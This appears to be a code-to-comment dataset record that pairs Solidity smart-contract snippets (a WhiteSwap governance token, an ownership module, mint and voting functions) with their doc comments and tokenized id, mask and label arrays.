require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.12; contract WSGov { /// @dev EIP-20 token name for this token string public constant name = "WhiteSwap"; /// @dev EIP-20 token symbol for this token string public constant symbol = "WSE"; /// @dev EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @dev Total number of tokens in circulation uint public totalSupply = 1_000_000_000e18; // 1 billion WSG /// @dev Address which may mint new tokens address public minter; /// @dev The timestamp after which minting may occur uint public mintingAllowedAfter; /// @dev Minimum time between mints uint32 public constant minimumTimeBetweenMints = 1 days * 365; /// @dev Cap on the percentage of totalSupply that can be minted at each mint uint8 public constant mintCap = 2; /// @dev Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @dev Official record of token balances for each account mapping (address => uint96) internal balances; /// @dev A record of each accounts delegate mapping (address => address) public delegates; /// @dev A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @dev A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @dev The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @dev The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @dev The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @dev The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @dev A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @dev An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @dev An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @dev An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @dev The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @dev The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @dev Construct a new WSG token * @param account The initial account to grant all the tokens */ constructor(address account, address minter_, uint mintingAllowedAfter_) public { require(mintingAllowedAfter_ >= block.timestamp, "WSG::constructor: minting can only begin after deployment"); balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); minter = minter_; emit MinterChanged(address(0), minter); mintingAllowedAfter = mintingAllowedAfter_; } /** * @dev Change the minter address * @param minter_ The address of the new minter */ function setMinter(address minter_) external { require(msg.sender == minter, "WSG::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } /** * @dev Mint new tokens * @param dst The address of the destination account * @param rawAmount The number of tokens to be minted */ function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "WSG::mint: only the minter can mint"); require(block.timestamp >= mintingAllowedAfter, "WSG::mint: minting not allowed yet"); require(dst != address(0), "WSG::mint: cannot transfer to the zero address"); // record the mint mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints); // mint the amount uint96 amount = safe96(rawAmount, "WSG::mint: amount exceeds 96 bits"); require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "WSG::mint: exceeded mint cap"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "WSG::mint: totalSupply exceeds 96 bits"); // transfer the amount to the recipient balances[dst] = add96(balances[dst], amount, "WSG::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); // move delegates _moveDelegates(address(0), delegates[dst], amount); } /** * @dev Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @dev Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "WSG::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @dev Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "WSG::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "WSG::permit: invalid signature"); require(signatory == owner, "WSG::permit: unauthorized"); require(now <= deadline, "WSG::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @dev Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "WSG::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @dev Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "WSG::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "WSG::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @dev Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @dev Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "WSG::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "WSG::delegateBySig: invalid nonce"); require(now <= expiry, "WSG::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @dev Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @dev Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "WSG::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "WSG::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "WSG::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "WSG::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "WSG::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "WSG::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "WSG::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "WSG::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
* @dev Mint new tokens @param dst The address of the destination account @param rawAmount The number of tokens to be minted/ record the mint mint the amount transfer the amount to the recipient move delegates
function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "WSG::mint: only the minter can mint"); require(block.timestamp >= mintingAllowedAfter, "WSG::mint: minting not allowed yet"); require(dst != address(0), "WSG::mint: cannot transfer to the zero address"); mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints); uint96 amount = safe96(rawAmount, "WSG::mint: amount exceeds 96 bits"); require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "WSG::mint: exceeded mint cap"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "WSG::mint: totalSupply exceeds 96 bits"); balances[dst] = add96(balances[dst], amount, "WSG::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); _moveDelegates(address(0), delegates[dst], amount); }
14,012,202
[ 1, 49, 474, 394, 2430, 225, 3046, 1021, 1758, 434, 326, 2929, 2236, 225, 1831, 6275, 1021, 1300, 434, 2430, 358, 506, 312, 474, 329, 19, 1409, 326, 312, 474, 312, 474, 326, 3844, 7412, 326, 3844, 358, 326, 8027, 3635, 22310, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 12, 2867, 3046, 16, 2254, 1831, 6275, 13, 3903, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 1131, 387, 16, 315, 2651, 43, 2866, 81, 474, 30, 1338, 326, 1131, 387, 848, 312, 474, 8863, 203, 3639, 2583, 12, 2629, 18, 5508, 1545, 312, 474, 310, 5042, 4436, 16, 315, 2651, 43, 2866, 81, 474, 30, 312, 474, 310, 486, 2935, 4671, 8863, 203, 3639, 2583, 12, 11057, 480, 1758, 12, 20, 3631, 315, 2651, 43, 2866, 81, 474, 30, 2780, 7412, 358, 326, 3634, 1758, 8863, 203, 203, 3639, 312, 474, 310, 5042, 4436, 273, 14060, 10477, 18, 1289, 12, 2629, 18, 5508, 16, 5224, 950, 11831, 49, 28142, 1769, 203, 203, 3639, 2254, 10525, 3844, 273, 4183, 10525, 12, 1899, 6275, 16, 315, 2651, 43, 2866, 81, 474, 30, 3844, 14399, 19332, 4125, 8863, 203, 3639, 2583, 12, 8949, 1648, 14060, 10477, 18, 2892, 12, 9890, 10477, 18, 16411, 12, 4963, 3088, 1283, 16, 312, 474, 4664, 3631, 2130, 3631, 315, 2651, 43, 2866, 81, 474, 30, 12428, 312, 474, 3523, 8863, 203, 3639, 2078, 3088, 1283, 273, 4183, 10525, 12, 9890, 10477, 18, 1289, 12, 4963, 3088, 1283, 16, 3844, 3631, 315, 2651, 43, 2866, 81, 474, 30, 2078, 3088, 1283, 14399, 19332, 4125, 8863, 203, 203, 3639, 324, 26488, 63, 11057, 65, 273, 527, 10525, 12, 70, 26488, 63, 11057, 6487, 3844, 16, 315, 2651, 43, 2866, 81, 474, 30, 7412, 3844, 9391, 87, 8863, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 3046, 2 ]
// SPDX-License-Identifier: MIT /** * Author: Lambdalf the White */ pragma solidity 0.8.10; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract IOwnable { // Errors error IOwnable_NOT_OWNER(); // The owner of the contract address private _owner; /** * @dev Emitted when contract ownership changes. */ event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function _initIOwnable( address owner_ ) internal { _owner = owner_; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns ( address ) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if ( owner() != msg.sender ) { revert IOwnable_NOT_OWNER(); } _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership( address newOwner_ ) public virtual onlyOwner { address _oldOwner_ = _owner; _owner = newOwner_; emit OwnershipTransferred( _oldOwner_, newOwner_ ); } }
* @dev Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner./
function transferOwnership( address newOwner_ ) public virtual onlyOwner { address _oldOwner_ = _owner; _owner = newOwner_; emit OwnershipTransferred( _oldOwner_, newOwner_ ); }
12,673,858
[ 1, 1429, 18881, 23178, 434, 326, 6835, 358, 279, 394, 2236, 21863, 2704, 5541, 68, 2934, 4480, 1338, 506, 2566, 635, 326, 783, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 7412, 5460, 12565, 12, 1758, 394, 5541, 67, 262, 1071, 5024, 1338, 5541, 288, 203, 202, 202, 2867, 389, 1673, 5541, 67, 273, 389, 8443, 31, 203, 202, 202, 67, 8443, 273, 394, 5541, 67, 31, 203, 202, 202, 18356, 14223, 9646, 5310, 1429, 4193, 12, 389, 1673, 5541, 67, 16, 394, 5541, 67, 11272, 203, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x354F962d29Aa42978bCb658680fFe573c5ecd1D1/sources/contracts/erc20token.sol
* @dev Mint new tokens, increasing the total supply and balance of "account" Can only be called by the current owner./
function mint(address account, uint256 value) public { _mint(account, value); }
11,587,946
[ 1, 49, 474, 394, 2430, 16, 21006, 326, 2078, 14467, 471, 11013, 434, 315, 4631, 6, 4480, 1338, 506, 2566, 635, 326, 783, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 12, 2867, 2236, 16, 2254, 5034, 460, 13, 1071, 225, 288, 203, 3639, 389, 81, 474, 12, 4631, 16, 460, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x7A9ff54A6eE4a21223036890bB8c4ea2D62c686b/sources/src/interfaces/IEthRobotKeeper.sol
* @dev Emitted when performUpkeep is called and no actions are executed. @param id proposal id of failed action. @param action action performed on the proposal which faled. @param reason reason of the failed action./* @dev Emitted when performUpkeep is called and actions are executed. @param id proposal id of successful action. @param action successful action performed on the proposal./* @notice Actions that can be performed by the robot on the governance v2. @param PerformQueue: performs queue action on the governance contract. @param PerformExecute: performs execute action on the governance contract. @param PerformCancel: performs cancel action on the governance contract./
enum ProposalAction { PerformQueue, PerformExecute, PerformCancel }
8,457,258
[ 1, 1514, 11541, 1347, 3073, 1211, 10102, 353, 2566, 471, 1158, 4209, 854, 7120, 18, 225, 612, 14708, 612, 434, 2535, 1301, 18, 225, 1301, 1301, 9591, 603, 326, 14708, 1492, 284, 18931, 18, 225, 3971, 3971, 434, 326, 2535, 1301, 18, 19, 225, 512, 7948, 1347, 3073, 1211, 10102, 353, 2566, 471, 4209, 854, 7120, 18, 225, 612, 14708, 612, 434, 6873, 1301, 18, 225, 1301, 6873, 1301, 9591, 603, 326, 14708, 18, 19, 225, 18765, 716, 848, 506, 9591, 635, 326, 14386, 603, 326, 314, 1643, 82, 1359, 331, 22, 18, 225, 11217, 3183, 30, 11199, 2389, 1301, 603, 326, 314, 1643, 82, 1359, 6835, 18, 225, 11217, 5289, 30, 11199, 1836, 1301, 603, 326, 314, 1643, 82, 1359, 6835, 18, 225, 11217, 6691, 30, 11199, 3755, 1301, 603, 326, 314, 1643, 82, 1359, 6835, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2792, 19945, 1803, 288, 203, 565, 11217, 3183, 16, 203, 565, 11217, 5289, 16, 203, 565, 11217, 6691, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0xbA8d885b4029C836B05BF7A8aE5348a0e8468317/sources/project_/contracts/Ballot.sol
* @dev To extend the end of the voting @param endTime_ End time that needs to be updated @param currentTime_ Current time that needs to be updated/
function extendVotingTime(uint256 endTime_, uint256 currentTime_) public isElectionChief { require(votingStartTime < currentTime_); require(votingEndTime > currentTime_); votingEndTime = endTime_; }
5,025,386
[ 1, 774, 2133, 326, 679, 434, 326, 331, 17128, 225, 13859, 67, 4403, 813, 716, 4260, 358, 506, 3526, 225, 6680, 67, 6562, 813, 716, 4260, 358, 506, 3526, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
